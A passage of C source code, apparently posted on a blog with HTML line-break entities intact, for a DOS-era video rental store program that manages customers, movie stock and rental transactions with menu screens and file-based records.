cname[20];&lt;br /&gt;     int copies;&lt;br /&gt;     int rent;&lt;br /&gt;     int tam;&lt;br /&gt;    }transaction;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cust ctr;&lt;br /&gt;mov mv;&lt;br /&gt;transaction tran;&lt;br /&gt;FILE *fc,*fm,*ft,*tmp;&lt;br /&gt;long int size;&lt;br /&gt;int days,k=0;&lt;br /&gt;struct date d;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void main_menu()&lt;br /&gt;  {&lt;br /&gt; char *menu[]={"CUSTOMER SECTION",&lt;br /&gt;  "MOVIE SECTION",&lt;br /&gt;  "TRANSACTION SECTION",&lt;br /&gt;  "EXIT"};&lt;br /&gt;&lt;br /&gt; char ch;&lt;br /&gt; int gd=DETECT,gm,i,choice=0;&lt;br /&gt; initgraph(&amp;gd,&amp;gm,PATH);&lt;br /&gt; setfillstyle(SOLID_FILL,RED);&lt;br /&gt; bar(0,0,640,480);&lt;br /&gt; title("MAIN MENU",180);&lt;br /&gt; status();&lt;br /&gt; box(0,menu[0]);&lt;br /&gt; box(1,menu[1]);&lt;br /&gt; box(2,menu[2]);&lt;br /&gt; box(3,menu[3]);&lt;br /&gt; selectbox(choice,menu[choice]);&lt;br /&gt;&lt;br /&gt; //72  up&lt;br /&gt; //80  down&lt;br /&gt; //75  left&lt;br /&gt; //77  right&lt;br /&gt; //13  enter&lt;br /&gt; //49  1&lt;br /&gt; //71  Home&lt;br /&gt; //79  End&lt;br /&gt; //73 PgUp&lt;br /&gt; //81 PgDown&lt;br /&gt; //27 Escape&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; while((ch=getch())!=13)&lt;br /&gt; {&lt;br /&gt;  switch(ch)&lt;br /&gt;  {&lt;br /&gt;  case 80:&lt;br /&gt;  case 81:&lt;br /&gt;  choice++;&lt;br /&gt;  if(choice==4)&lt;br /&gt;  choice=0;&lt;br /&gt;  selectbox(choice,menu[choice]);&lt;br /&gt;  for(i=0;i&lt;=3;i++)  {  if(i==choice) continue;  box(i,menu[i]);  }  break;  case 72:  case 73:  choice--;  if(choice==-1)  choice=3;  selectbox(choice,menu[choice]);  for(i=0;i&lt;=3;i++)  {  if(i==choice) continue;  box(i,menu[i]);  }  } }       pressbutton(choice,menu[choice]);       switch(choice)   {     case 0:     size=sizeof(ctr);     customer();     break;     case 1:     movie();     break;     case 2:     transactions();     break;     case 3:     closegraph();     restorecrtmode();     exit(0);   }    }customer(){ char *menu[]={  "ADD CUSTOMER",  "MODIFY CUSTOMER",  "DELETE CUSTOMER",  "LIST CUSTOMER",  "BACK TO MAIN MENU",  "EXIT"  }; char ch; int gd=DETECT,gm; int i,choice=0; initgraph(&amp;gd,&amp;gm,PATH); setfillstyle(SOLID_FILL,RED); bar(0,0,640,480); title("CUSTOMER MENU",130); status(); box(0,menu[0]); box(1,menu[1]); box(2,menu[2]); box(3,menu[3]); box(4,menu[4]); box(5,menu[5]); selectbox(choice,menu[choice]); //72  up //80  down //75  left //77  right //13  enter //49  1 //71  Home //79  End //73 PgUp //81 PgDown //27 Escape while((ch=getch())!=13) {  switch(ch)  {  case 80:  case 81:  choice++;  if(choice==6)  choice=0;  selectbox(choice,menu[choice]);  for(i=0;i&lt;=5;i++)  {  if(i==choice) continue;  box(i,menu[i]);  }  break;  case 72:  case 73:  choice--;  if(choice==-1)  choice=5;  selectbox(choice,menu[choice]);  for(i=0;i&lt;=5;i++)  {  if(i==choice) continue;  box(i,menu[i]);  }  } } pressbutton(choice,menu[choice]); closegraph(); restorecrtmode();     clrscr();     if((fc=fopen("c:customer.txt","rb+"))==NULL) fc=fopen("c:customer.txt","wb+");     switch(choice) {  case 0:  addcus();  break; case 1:  rewind(fc);  modify();  break;  case 2:  delete();  break;  case 3:  listcust();  break;  case 4:  fclose(fc);  main_menu();  break;  case 5:  fclose(fc);  exit(1); }}movie(){ char *menu[]={  "ADD MOVIE",  "LIST MOVIES",  "SEARCH MOVIE",  "BACK TO MAIN MENU",  "EXIT"  }; char ch; int gd=DETECT,gm; int i,choice=0; initgraph(&amp;gd,&amp;gm,PATH); setfillstyle(SOLID_FILL,RED); bar(0,0,640,480); title("MOVIE MENU",165); status(); box(0,menu[0]); box(1,menu[1]); box(2,menu[2]); box(3,menu[3]); box(4,menu[4]); selectbox(choice,menu[choice]); //72  up //80  down //75  left //77  right //13  enter //49  1 //71  Home //79  End //73 PgUp //81 PgDown //27 Escape while((ch=getch())!=13) {  switch(ch)  {  case 80:  case 81:  choice++;  if(choice==5)  choice=0;  selectbox(choice,menu[choice]);  for(i=0;i&lt;=4;i++)  {  if(i==choice) continue;  box(i,menu[i]);  }  break;  case 72:  case 73:  choice--;  if(choice==-1)  choice=4;  selectbox(choice,menu[choice]);  for(i=0;i&lt;=4;i++)  {  if(i==choice) continue;  box(i,menu[i]);  }  } } pressbutton(choice,menu[choice]); closegraph(); restorecrtmode();     clrscr();     /*textcolor(4);*/     fm=fopen("c:movie.txt","rb+");     if(fm==NULL)     fm=fopen("c:movie.txt","wb+");     switch(choice) {  case 0:  addmov();  break;  case 1:  listmov();  break;  case 2:  searchmov();  break;  case 3:  main_menu();  break;  case 4:  fclose(fm);  exit(1); }}transactions()    {     char *menu[]={  "NEW TRANSACTION",  "CLOSE TRANSACTION",  "LIST TRANSACTIONS",  "SEARCH MOVIE",  "BACK TO MAIN MENU",  "EXIT"  }; char ch; int gd=DETECT,gm,i,choice=0; initgraph(&amp;gd,&amp;gm,PATH); setfillstyle(SOLID_FILL,RED); bar(0,0,640,480); title("TRANSACTION MENU",100); status(); box(0,menu[0]); box(1,menu[1]); box(2,menu[2]); box(3,menu[3]); box(4,menu[4]); box(5,menu[5]); selectbox(choice,menu[choice]); //72  up //80  down //75  left //77  right //13  enter //49  1 //71  Home //79  End //73 PgUp //81 PgDown //27 Escape while((ch=getch())!=13) {  switch(ch)  {  case 80:  case 81:  choice++;  if(choice==6)  choice=0;  selectbox(choice,menu[choice]);  for(i=0;i&lt;=5;i++)  {  if(i==choice) continue;  box(i,menu[i]);  }  break;  case 72:  case 73:  choice--;  if(choice==-1)  choice=5;  selectbox(choice,menu[choice]);  for(i=0;i&lt;=5;i++)  {  if(i==choice) continue;  box(i,menu[i]);  }  } } pressbutton(choice,menu[choice]); closegraph(); restorecrtmode();     clrscr();     ft=fopen("c: ransact.txt","rb+");     if(ft==NULL) ft=fopen("c: ransact.txt","wb+");     switch(choice) {  case 0:  addtran();  break;  case 1:  closetran();  break;  case 2:  listtran();  break;  case 3:   fm=fopen("c:movie.txt","rb+");   if(fm==NULL)   fm=fopen("c:movie.txt","wb+");   searchmov();   break;  case 4:  main_menu();  break;  case 5:  exit(0); }    }addcus()   {    char another='y';    fseek(fc,0,SEEK_END);    TBG;    while(another=='y'||another=='Y') {  clrscr();    printf("********************   ADD CUSTOMER FORM ****************");  printf("CUSTOMER ID(NUMERIC)  :");  printf("CUSTOMER NAME         :");  printf("CUSTOMER PHONE NO     :");  printf("CUSTOMER ADDRESS      :");  printf("DATE OF JOINING       :");  printf("CATEGORY(H/A/C/R/S/T) :");    gotorc(2,24);  customid();  gotorc(4,24);  fflush(stdin);  gets(ctr.name);  gotorc(6,24);  fflush(stdin);  gets(ctr.pn);  gotorc(8,24);  fflush(stdin);  gets(ctr.address);  gotorc(10,24);  fflush(stdin);  getdate(&amp;d);  ctr.doj[0]=d.da_day;ctr.doj[1]=d.da_mon;ctr.doj[2]=d.da_year;  printf("%d/%d/%d",d.da_day,d.da_mon,d.da_year);  gotorc(12,24);  fflush(stdin);  ctr.category=getche();  gotorc(16,3);  printf("DO YOU WANT TO SUBMIT THIS FORM (Y/N)");  fflush(stdin);  another=getch();  if(another=='y'||another=='Y')  fwrite(&amp;ctr,size,1,fc);  gotorc(18,3);  printf("DO YOU WANT TO ADD ANOTHER CUTOMER(Y/N)");  fflush(stdin);  another=getch(); }    fclose(fc);    customer();     }customid()    {     rewind(fc);     if(fread(&amp;ctr,sizeof(ctr),1,fc)!=1) ctr.id=1;     else       { while(fread(&amp;ctr,sizeof(ctr),1,fc)==1);      ctr.id++;  }       printf("%ld",ctr.id);     } modify()   {    char another='y',choice,name[20],flag='n';    long id;    TBG;    while(another=='y'||another=='Y') {  clrscr();  rewind(fc);    printf(" SEARCH BY NAME : PRESS 1 SEARCH BY ID   : PRESS 2 ");    fflush(stdin);  choice=getchar();  if(choice=='2')    {      printf("ENTER CUSTOMER ID : ");      scanf("%ld",&amp;id);       while(fread(&amp;ctr,size,1,fc)==1)         {  if(ctr.id==id)   {    new();    flag='y';    break;   }        }      }  if(choice=='1')     {      printf("ENTER CUSTOMER NAME : ");      fflush(stdin);      gets(name);      while(fread(&amp;ctr,size,1,fc)==1)  {     if(strcmpi(ctr.name,name)==0)       {         new();         flag='y';         break;       }  }     }  if(flag=='n')  {  gotorc(15,3);  printf("CUSTOMER NOT FOUND............ !");  }  gotorc(18,3);  printf("DO YOU WANT TO MODIFY ANOTHER CUTOMER(Y/N)");  fflush(stdin);  another=getch(); }    fclose(fc);    customer();     }new() {    char another='y';    clrscr();    TBG;    fseek(fc,-size,SEEK_CUR);  printf("CUSTOMER'S NEW NAME                      :");  printf("CUSTOMER'S NEW PHONE NO                  :");  printf("CUSTOMER'S NEW ADDRESS                   :");  printf("NEW DATE OF JOINING (DD&lt;-|MM&lt;-|YYYY&lt;-|)  :");  printf("NEW CATEGORY(H/A/C/R/S/T)                :");  gotorc(1,43);  fflush(stdin);  gets(ctr.name);  gotorc(3,43);  fflush(stdin);  gets(ctr.pn);  gotorc(5,43);  fflush(stdin);  gets(ctr.address);  gotorc(7,43);  fflush(stdin);  scanf("%d",&amp;ctr.doj[0]);  gotorc(7,45);  printf("%c",'/');  scanf("%d",&amp;ctr.doj[1]);  gotorc(7,48);  printf("%c",'/');  scanf("%d",&amp;ctr.doj[2]);  gotorc(9,43);  fflush(stdin);  ctr.category=getche();  gotorc(16,3);  printf("UPDATE THE CUSTOMER RECORD (Y/N)");  fflush(stdin);  another=getch();  if(another=='y'||another=='Y')  fwrite(&amp;ctr,size,1,fc);  rewind(fc);  }listcust(){int i=1,p=4;clrscr();TBG;rewind(fc);printf("********************  CUSTOMERS LIST ************");gotorc(2,3);printf("ID");gotorc(2,8);printf("NAME");gotorc(2,22);printf("PHONE NO");gotorc(2,35);printf("ADDRESS");gotorc(2,55);printf("D.O.J");gotorc(2,68);printf("CATEGORY");while(fread(&amp;ctr,size,1,fc)==1){ gotorc(p,3); printf("%ld",ctr.id); gotorc(p,8); printf("%s",strupr(ctr.name)); gotorc(p,22); printf("%s",ctr.pn); gotorc(p,35); printf("%s",strupr(ctr.address)); gotorc(p,55); printf("%d/%d/%d",ctr.doj[0],ctr.doj[1],ctr.doj[2]); gotorc(p,70); printf("%c",toupper(ctr.category)); if(i%15==0) { gotorc(40,3); printf("PRESS ANY KEY TO CONTINUE....."); getch(); clrscr(); p=4; } p+=2; i++; }printf("   PRESS ANY KEY TO BACK TO CUSTOMER MENU");   getch();   customer();   }delete()   {    char another='y',choice,name[20],flag='n';    long id;    tmp=fopen("c: emp.txt","wb");    rewind(fc);    TBG;    while(another=='y'||another=='Y') {  clrscr();  printf(" DELETE BY NAME : 1 DELETE BY ID  : 2 ");  fflush(stdin);  choice=getchar();  if(choice=='2')    {      printf("ENTER CUSTOMER ID : ");      scanf("%ld",&amp;id);      clrscr();       while(fread(&amp;ctr,size,1,fc)==1)         {  if(ctr.id!=id)    fwrite(&amp;ctr,size,1,tmp);  else  flag='y';        }      }  if(choice=='1')     {      printf("ENTER CUSTOMER NAME : ");      fflush(stdin);      gets(name);      clrscr();      while(fread(&amp;ctr,size,1,fc)==1)  {     if(strcmpi(ctr.name,name)!=0)        fwrite(&amp;ctr,size,1,tmp);     else  flag='y';  }     }     fclose(fc);     fclose(tmp);     remove("c:customer.txt");     rename("c: emp.txt","c:customer.txt");  if(flag=='n')  printf("CUSTOMER NOT FOUND.... !");  printf("DO YOU WANT TO DELETE ANOTHER CUTOMER(Y/N)");  fflush(stdin);  another=getch(); }    fclose(fc);    customer();     } addmov()   {    char another='y';    TBG;    fseek(fm,0,SEEK_END);    while(another=='y'||another=='Y') {  clrscr();  printf("*****************ADD MOVIE FORM*****************");  printf("MOVIE ID(NUMERIC)    :");  printf("MOVIE NAME           :");  printf("NO OF COPIES         :");  printf("SUPPLIER ID          :");  printf("LOCATION             :");  gotorc(1,24);  movid();  gotorc(2,24);  fflush(stdin);  gets(mv.title);  gotorc(3,24);  fflush(stdin);  scanf("%d",&amp;mv.copy);  mv.cponshelf=mv.copy;  mv.issue=0;  gotorc(4,24);  fflush(stdin);  gets(mv.sid);  gotorc(5,24);  fflush(stdin);  scanf("%d",&amp;mv.loc);  fwrite(&amp;mv,sizeof(mv),1,fm);  printf("DO YOU WANT TO ADD ANOTHER MOVIE(Y/N)");  fflush(stdin);  another=getch(); }    fclose(fm);    printf("PRESS ANY KEY TO BACK TO MOVIE MENU");    movie();     } movid()    {     rewind(fm);     if(fread(&amp;mv,sizeof(mv),1,fm)!=1) mv.id=1;     else       { while(fread(&amp;mv,sizeof(mv),1,fm)==1);      mv.id++;  }       printf("%ld",mv.id);    } listmov()   {   int i=1,p=4;   textbackground(WHITE);   textcolor(BLUE);   clrscr();   rewind(fm);   printf("********************  MOVIE LIST *****************");   gotorc(2,1);   printf("ID");   gotorc(2,5);   printf("TITLE");   gotorc(2,25);   printf("TOT_CP");   gotorc(2,35);   printf("CP_O_SHELF");   gotorc(2,48);   printf("TOT_ISSUES");   gotorc(2,59);   printf("SUPPLIER ID");   gotorc(2,71);   printf("LOCATION");   while(fread(&amp;mv,sizeof(mv),1,fm)==1)  {  gotorc(p,1);  printf("%ld",mv.id);  gotorc(p,5);  printf("%s",strupr(mv.title));  gotorc(p,28);  printf("%d",mv.copy);  gotorc(p,40);  printf("%d",mv.cponshelf);  gotorc(p,52);  printf("%d",mv.issue);  gotorc(p,59);  printf("%s",mv.sid);  gotorc(p,74);  printf("%d",mv.loc);  if(i%10==0)  {  printf("   PRESS ANY KEY TO CONTINUE.....");  fflush(stdin);  getch();  clrscr();  p=4;  }  i++;  p+=2;  }   printf("PRESS ANY KEY TO BACK TO MOVIE MENU");   getch();   fclose(fm);   movie();   } searchmov() {  char mname[20],another;  TBG;  clrscr();  rewind(fm);  gotorc(5,5);  printf("ENTER MOVIE TITLE    :   ");  fflush(stdin);  gets(mname);  while(fread(&amp;mv,sizeof(mv),1,fm)==1)  {  if(strcmpi(mv.title,mname)==0)  {  gotorc(7,12);  textcolor(0);  cprintf("MOVIE FOUND..");  textcolor(4);  gotorc(9,5);  printf("MOVIE TITLE            : %s",mv.title);  gotorc(11,5);  printf("TOTAL NO OF COPIES     : %d",mv.copy);  gotorc(13,5);  printf("NO OF COPIES AVAILABLE : %d",mv.cponshelf);  gotorc(15,5);  printf("SUPPLIER ID            : %s",mv.sid);  gotorc(17,5);  printf("LOCATION               : %d",mv.loc);  gotorc(20,5);  printf("DO YOU WANT TO SEARCH MORE MOVIES(Y/N)");  fflush(stdin);  another=getchar();  if(another=='y'||another=='Y')  searchmov();  fclose(fm);  movie();  }  } gotorc(7,5); textcolor(4); cprintf("MOVIE NOT FOUND.....!"); textcolor(4); gotorc(12,5); printf("DO YOU WANT TO SEARCH MORE MOVIES(Y/N)"); fflush(stdin); another=getchar(); if(another=='y'||another=='Y') searchmov(); fclose(fm); movie(); }addtran()   {    char another='y',rec;    TBG;    fseek(ft,0,SEEK_END);    while(another=='y'||another=='Y') {  clrscr();  printf("*****************  TRANSACTION****************");  printf("INVOICE NO(NUMERIC) :");  printf("MOVIE TITLE         :");  printf("COPIES AVAILABLE    :");  printf("CUSTOMER ID         :");  printf("CUSTOMER NAME       :");  printf("NO. OF COPIES       :");  printf("DATE OF ISSUE       :");  gotorc(2,24);  invoice();  gotorc(4,24);  fflush(stdin);  gets(tran.title);  gotorc(6,24);  avail();  gotorc(8,24);  fflush(stdin);  scanf("%ld",&amp;tran.cid);  custcheck();  gotorc(12,24);  fflush(stdin);  scanf("%d",&amp;tran.copies);  if(tran.copies&gt;mv.cponshelf)&lt;br /&gt;  {&lt;br /&gt;  gotorc(18,3);&lt;br /&gt;  printf("TRANSACTION NOT POSSIBLE : REQUIRED NO OF COPIES NOT AVAILABLE");&lt;br /&gt;  printf("PRESS ANY KEY TO BACK TO TRANSACTION MENU");&lt;br /&gt;  getch();&lt;br /&gt;  transactions();&lt;br /&gt;  }&lt;br /&gt;  gotorc(14,24);&lt;br /&gt;  fflush(stdin);&lt;br /&gt;  getdate(&amp;d);&lt;br /&gt;  tran.doi[0]=d.da_day;tran.doi[1]=d.da_mon;tran.doi[2]=d.da_year;&lt;br /&gt;  printf("%d/%d/%d",d.da_day,d.da_mon,d.da_year);&lt;br /&gt;  tran.dor[0]=0;&lt;br /&gt;  tran.rent=0;&lt;br /&gt;  gotorc(18,4);&lt;br /&gt;  printf("DO YOU WANT TO RECORD THIS TRANSACTION(Y/N)");&lt;br /&gt;  rec=getchar();&lt;br /&gt;  if(rec=='y'||rec=='Y')&lt;br /&gt;  {&lt;br /&gt;  update();&lt;br /&gt;  fwrite(&amp;tran,sizeof(tran),1,ft);&lt;br /&gt;  }&lt;br /&gt;  printf("DO YOU WANT TO ADD ANOTHER TRANSACTION(Y/N)");&lt;br /&gt;  fflush(stdin);&lt;br /&gt;  another=getch();&lt;br /&gt; }&lt;br /&gt;    fclose(ft);&lt;br /&gt;    printf("PRESS ANY KEY TO BACK TO TRANSACTION MENU");&lt;br /&gt;    transactions();&lt;br /&gt;     }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; custcheck()&lt;br /&gt; {&lt;br /&gt;&lt;br /&gt; if((fc=fopen("c:customer.txt","rb"))==NULL)&lt;br /&gt;  fc=fopen("c:customer.txt","wb+");&lt;br /&gt; rewind(fc);&lt;br /&gt;  while(fread(&amp;ctr,sizeof(ctr),1,fc)==1)&lt;br /&gt;  {&lt;br /&gt;     if(ctr.id==tran.cid)&lt;br /&gt;  {&lt;br /&gt;   gotorc(10,24);&lt;br /&gt;   printf("%s",ctr.name);&lt;br /&gt;   strcpy(tran.cname,ctr.name);&lt;br /&gt;   fclose(fc);&lt;br /&gt;   return;&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt;  fclose(fc);&lt;br /&gt;  gotorc(18,4);&lt;br /&gt;  printf("INVALID CUSTOMER ............!");&lt;br /&gt;  gotorc(21,4);&lt;br /&gt;  printf("PRESS ANY KEY TO BACK TO TRANSACTION MENU");&lt;br /&gt;  getch();&lt;br /&gt;  transactions();&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; invoice()&lt;br /&gt;    {&lt;br /&gt;     rewind(ft);&lt;br /&gt;     if(fread(&amp;tran,sizeof(tran),1,ft)!=1)&lt;br /&gt; tran.invoice=1;&lt;br /&gt;     else&lt;br /&gt;       {&lt;br /&gt; while(fread(&amp;tran,sizeof(tran),1,ft)==1);&lt;br /&gt;      tran.invoice++;&lt;br /&gt;  }&lt;br /&gt;       printf("%ld",tran.invoice);&lt;br /&gt;     }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; avail()&lt;br /&gt;    {&lt;br /&gt;     fm=fopen("c:movie.txt","rb+");&lt;br /&gt;     if(fm==NULL)&lt;br /&gt;     fm=fopen("c:movie.txt","wb+");&lt;br /&gt;     while(fread(&amp;mv,sizeof(mv),1,fm)==1)&lt;br /&gt; {&lt;br /&gt; if(strcmpi(tran.title,mv.title)==0)&lt;br /&gt;  {&lt;br /&gt;  printf("%d",mv.cponshelf);&lt;br /&gt;  fclose(fm);&lt;br /&gt;  return;&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;     gotorc(18,3);&lt;br /&gt;     printf("%s","MOVIE NOT FOUND...!");&lt;br /&gt;     gotorc(21,3);&lt;br /&gt;     printf("PRESS ANY KEY TO RETURN");&lt;br /&gt;     getch();&lt;br /&gt;     fclose(fm);&lt;br /&gt;     transactions();&lt;br /&gt;     }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; update()&lt;br /&gt;    {&lt;br /&gt;    long msize;&lt;br /&gt;    msize=sizeof(mv);&lt;br /&gt;     fm=fopen("c:movie.txt","rb+");&lt;br /&gt;     if(fm==NULL)&lt;br /&gt;     fm=fopen("c:movie.txt","wb+");&lt;br /&gt;     while(fread(&amp;mv,sizeof(mv),1,fm)==1)&lt;br /&gt; {&lt;br /&gt; if(strcmpi(tran.title,mv.title)==0)&lt;br /&gt;  {&lt;br /&gt;  mv.cponshelf=mv.cponshelf-tran.copies;&lt;br /&gt;  mv.issue=mv.issue+tran.copies;&lt;br /&gt;  fseek(fm,-msize,SEEK_CUR);&lt;br /&gt;  fwrite(&amp;mv,sizeof(mv),1,fm);&lt;br /&gt;  break;&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;     fclose(fm);&lt;br /&gt;     return;&lt;br /&gt;     }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;listtran()&lt;br /&gt;   {&lt;br /&gt;   int i=1;&lt;br /&gt;&lt;br /&gt;          TBG;&lt;br /&gt;          clrscr();&lt;br /&gt;   rewind(ft);&lt;br /&gt;   while(fread(&amp;tran,sizeof(tran),1,ft)==1)&lt;br /&gt;  {&lt;br /&gt;  printf(" INVOICE NO(NUMERIC) : %ld ",tran.invoice);&lt;br /&gt;  printf("CUSTOMER ID         : %ld ",tran.cid);&lt;br /&gt;  printf("CUSTOMER NAME       : %s ",tran.cname);&lt;br /&gt;  printf("MOVIE TITLE         : %s ",tran.title);&lt;br /&gt;  printf("NO. OF COPIES       : %d ",tran.copies);&lt;br /&gt;  printf("DATE OF ISSUE       : %d/%d/%d ",tran.doi[0],tran.doi[1],tran.doi[2]);&lt;br /&gt;  if(tran.dor[0]!=0)&lt;br /&gt;  {&lt;br /&gt;  printf("DATE OF RETURN      : %d/%d/%d ",tran.dor[0],tran.dor[1],tran.dor[2]);&lt;br /&gt;  printf("RENT                : %d ",tran.rent);&lt;br /&gt;  printf("FINE                : %d ",tran.fine);&lt;br /&gt;  printf("TOTAL AMOUNT        : %d",tran.tam);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  printf("........................................");&lt;br /&gt;  &lt;br /&gt;  if(i%2==0)&lt;br /&gt;  {&lt;br /&gt;  printf("&lt;br /&gt;   PRESS ANY KEY TO CONTINUE.....");&lt;br /&gt;  getch();&lt;br /&gt;  clrscr();&lt;br /&gt;  }&lt;br /&gt;  i++;&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;   fclose(ft);&lt;br /&gt;   printf("&lt;br /&gt;PRESS ANY KEY TO BACK TO TRANSACTION MENU");&lt;br /&gt;   getch();&lt;br /&gt;   transactions();&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; closetran()&lt;br /&gt; {&lt;br /&gt;  long id,sz;&lt;br /&gt;&lt;br /&gt;         TBG;&lt;br /&gt;  clrscr();&lt;br /&gt;  sz=sizeof(tran);&lt;br /&gt;  printf("&lt;br /&gt;ENTER INVOICE NO: ");&lt;br /&gt;  scanf("%ld",&amp;id);&lt;br /&gt;  clrscr();&lt;br /&gt;  while(fread(&amp;tran,sz,1,ft)==1)&lt;br /&gt;  {&lt;br /&gt;  if(tran.invoice==id)&lt;br /&gt;  {&lt;br /&gt;  if(tran.dor[0]!=0)&lt;br /&gt;  {&lt;br /&gt;  gotorc(4,4);&lt;br /&gt;  printf("THIS TRANSACTION IS ALL READY CLOSED...!");&lt;br /&gt;  gotorc(7,4);&lt;br /&gt;  printf("PRESS ANY KEY TO BACK TO TRANSACTION MENU......");&lt;br /&gt;  getch();&lt;br /&gt;  transactions();&lt;br /&gt;  }&lt;br /&gt;  fseek(ft,-sz,1);&lt;br /&gt;  getdate(&amp;d);&lt;br /&gt;  tran.dor[0]=d.da_day;tran.dor[1]=d.da_mon;tran.dor[2]=d.da_year;&lt;br /&gt;  difference();&lt;br /&gt;  tran.rent=tran.copies*25;&lt;br /&gt;  if(k==0)&lt;br /&gt;  tran.fine=0;&lt;br /&gt;  else&lt;br /&gt;  tran.fine=tran.copies*(k-1)*5;&lt;br /&gt;  tran.tam=tran.rent+tran.fine;&lt;br /&gt;  printf("INVOICE NO(NUMERIC) : %ld ",tran.invoice);&lt;br /&gt;  printf("CUSTOMER ID         : %ld ",tran.cid);&lt;br /&gt;  printf("CUSTOMER NAME       : %s ",tran.cname);&lt;br /&gt;  printf("MOVIE TITLE         : %s ",tran.title);&lt;br /&gt;  printf("NO. OF COPIES       : %d ",tran.copies);&lt;br /&gt;  printf("DATE OF ISSUE       : %d/%d/%d ",tran.doi[0],tran.doi[1],tran.doi[2]);&lt;br /&gt;  printf("DATE OF RETURN      : %d/%d/%d ",tran.dor[0],tran.dor[1],tran.dor[2]);&lt;br /&gt;  printf("RENT                : %d ",tran.rent);&lt;br /&gt;  printf("FINE                : %d ",tran.fine);&lt;br /&gt;  printf("TOTAL AMOUNT        : %d ",tran.tam);&lt;br /&gt;  updateclose();&lt;br /&gt;  fwrite(&amp;tran,sz,1,ft);&lt;br /&gt;  fclose(ft);&lt;br /&gt;         }&lt;br /&gt;  }&lt;br /&gt;   printf("PRESS ANY KEY TO BACK TO TRANSACTION MENU");&lt;br /&gt;   getch();&lt;br /&gt;   transactions();&lt;br /&gt;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;difference()&lt;br /&gt;    {&lt;br /&gt;     int t,m1,m2,y1,y2,d1,d2;&lt;br /&gt;     d1=tran.doi[0];&lt;br /&gt;     d2=tran.dor[0];&lt;br /&gt;     m1=tran.doi[1];&lt;br /&gt;     m2=tran.dor[1];&lt;br /&gt;     y1=tran.doi[2];&lt;br /&gt;     y2=tran.dor[2];&lt;br /&gt;     t=m1;&lt;br /&gt;     if(y2&gt;y1)&lt;br /&gt;       {&lt;br /&gt;       while(y2&gt;y1)&lt;br /&gt; {&lt;br /&gt;  while(m1&lt;=12)&lt;br /&gt;       {&lt;br /&gt;        check(m1,y1);&lt;br /&gt;        if(m1==t)&lt;br /&gt;    k=days-d1;&lt;br /&gt;        else&lt;br /&gt;   k=k+days;&lt;br /&gt;        m1=m1+1;&lt;br /&gt;       }&lt;br /&gt;   m1=1;y1++;&lt;br /&gt;  }&lt;br /&gt;     while(m1&lt;m2)&lt;br /&gt;       {&lt;br /&gt; check(m1,y1);&lt;br /&gt; k=k+days;&lt;br /&gt; m1++;&lt;br /&gt;       }&lt;br /&gt;     k=k+d2;&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;    {&lt;br /&gt;     if(m1!=m2)&lt;br /&gt; {&lt;br /&gt; while(m1&lt;m2)&lt;br /&gt;       {&lt;br /&gt;        check(m1,y1);&lt;br /&gt;        if(m1==t)&lt;br /&gt;    k=days-d1;&lt;br /&gt;        else&lt;br /&gt;   k=k+days;&lt;br /&gt;        m1=m1+1;&lt;br /&gt;       }&lt;br /&gt;     k=k+d2;&lt;br /&gt;  }&lt;br /&gt;     else&lt;br /&gt; k=d2-d1;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;check(int m1,int y1)&lt;br /&gt;   {&lt;br /&gt;    if(m1==1||m1==3||m1==5||m1==7||m1==8||m1==10||m1==12)&lt;br /&gt;       days=31;&lt;br /&gt;    else&lt;br /&gt; {&lt;br /&gt; if(m1!=2)&lt;br /&gt;    days=30;&lt;br /&gt;   else&lt;br /&gt;     {&lt;br /&gt;      if(y1%4==0)&lt;br /&gt;  days=29;&lt;br /&gt;      else&lt;br /&gt;  days=28;&lt;br /&gt;      }&lt;br /&gt;  }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; updateclose()&lt;br /&gt;    {&lt;br /&gt;     long msize;&lt;br /&gt;    msize=sizeof(mv);&lt;br /&gt;     fm=fopen("c:movie.txt","rb+");&lt;br /&gt;     if(fm==NULL)&lt;br /&gt;     fm=fopen("c:movie.txt","wb+");&lt;br /&gt;     while(fread(&amp;mv,sizeof(mv),1,fm)==1)&lt;br /&gt; {&lt;br /&gt; if(strcmpi(tran.title,mv.title)==0)&lt;br /&gt;  {&lt;br /&gt;  mv.cponshelf=mv.cponshelf+tran.copies;&lt;br /&gt;  fseek(fm,-msize,SEEK_CUR);&lt;br /&gt;  fwrite(&amp;mv,msize,1,fm);&lt;br /&gt;  break;&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;     fclose(fm);&lt;br /&gt;     return;&lt;br /&gt;     }&lt;br /&gt;&lt;br /&gt; gotorc(int r,int c)&lt;br /&gt;    {&lt;br /&gt;     union REGS i,o;&lt;br /&gt;     i.h.ah=2;&lt;br /&gt;     i.h.bh=0;&lt;br /&gt;     i.h.dh=r;&lt;br /&gt;     i.h.dl=c;&lt;br /&gt;     int86(16,&amp;i,&amp;o);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; screen1()&lt;br /&gt; {&lt;br /&gt; int gd=DETECT,gm;&lt;br /&gt; initgraph(&amp;gd,&amp;gm,PATH);&lt;br /&gt; setfillstyle(SOLID_FILL,RED);&lt;br /&gt; bar(0,0,640,480);&lt;br /&gt; setfillstyle(SOLID_FILL,WHITE);&lt;br /&gt; bar(15,15,625,465);&lt;br /&gt; 